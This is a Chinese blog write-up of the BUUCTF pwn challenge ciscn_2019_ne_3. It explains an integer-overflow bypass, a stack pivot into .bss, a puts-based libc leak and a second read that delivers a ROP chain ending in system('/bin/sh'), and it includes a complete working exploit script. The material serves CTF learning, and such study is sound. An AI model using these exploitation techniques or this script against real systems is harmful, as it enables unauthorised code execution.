[BUUCTF] ciscn_2019_ne_3
ciscn_2019_ne_3
总结
一道很无语的rop的题目,由于在puts调用中会卡在[ebp - 0x46c]这样的语句,所以只能把栈往抬高,避免访问到不可写的内存区域。
- 如果题目给的
rop很短,那么需要想办法调用read写入更长的rop链 - 必要的时候需要把栈抬高,避免在函数调用过程中,让不可写的内存写入了东西,直接
core dump call的时候会放置下一条指令到esp,但如果直接覆写了esp,那么还是可以继续劫持程序流
题目分析
checksec
很久没碰到32位的题目了,环境为libc-2.27.so

函数分析
最开始的时候,IDA无法识别函数。只需要在__printf_chk这个函数上按下Y,修改函数签名为int __printf_chk(int, const char*, ...);即可
流程很简单,先往bss段上写数据,然后有整数溢出和栈溢出:


刚开始以为是很简单的栈溢出,后来瞅了眼main函数退出的时候的汇编,发现栈直接被改变了:

这里的esp来自于ecx,而ecx可控。没有地址泄露,所以只能往bss段搞栈迁移。
所以一开始直接准备:
puts泄露地址- 重新执行
main - 再次
rop执行system(/bin/sh)、
然而事情,并没有那么简单,在调用puts的时候,由于栈太低了,会往更低处的不可写的区域赋值,程序直接GG。然后想改成__printf_chk,也遇到了类似的问题。
所以只能找一下read函数,然后重新写一段长的rop,并把栈抬到高处,再进行泄露和利用。
在输入passwd长度的时候,只能写入0x10个字节。去掉要转化为负数的-1\x00\x00,只剩12个字节可以操作。如果直接rop,由于read有3个参数,所以至少需要0x14的大小,很显然这里不够。所以只能利用程序中的call read这样的汇编执令来缩小rop的长度。
我们必须要控制的参数有read的第二个和第三个参数,指明往bss段写和写的大小。那么第一个参数fd就没法控制,好在程序中就有,如下图:

有一个push 0,省了不少事情。
因此,最终的解题思路为:
-
将栈迁移到
bss段 -
rop往buf区域写更长的rop -
将栈抬高
-
执行
puts泄露地址 -
再次执行
read读入rop -
执行
system(/bin/sh)
这里还是不能回到main函数,还是会出现往非法内存区域写入的操作。索性直接再次读入rop,然后刚好esp也在bss段上,所以可控制执行system(/bin/sh)
Exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = ELF('libc-2.27-32bit.so')
"""
输入负数即可绕过校验
之后进行rop
"""
buffer_addr = 0x0804A060
puts_addr = 0x8048490
puts_got_addr = 0x804A01C
main_addr = 0x80486ea
read_addr = 0x8048460
p.sendafter("Now, Challenger, What's name?\n:", "aaaaaa")
p.sendafter("Please set the length of password: ", b"-1\x00\x00"+p32(0x8048793)+p32(buffer_addr)+p32(0xf00))
p.sendlineafter(":", flat("a"*72,
buffer_addr+8, # ecx
0, #ebx
0, # edi
buffer_addr + 0xf00, # ebp
))
sleep(1)
payload = flat({
0:[0x080487B3, buffer_addr+0x500, 0, 0, buffer_addr+0xf00],
0x500-4: [puts_addr, 0x08048431, puts_got_addr, read_addr, 0, 0, buffer_addr, 0xf00]
}, filler="\x00")
p.send(payload)
msg = p.recvuntil("\xf7")
libc_base_addr = u32(msg[-4:]) - libc.sym['puts']
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr
sleep(1)
p.send(flat("/bin/sh\x00", cyclic(0x4ec-8), libc.sym['system'], 0, buffer_addr))
p.interactive()
栈迁移:

泄露地址:

第二次read:

拿shell:

远程打:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15413894.html

浙公网安备 33010602011771号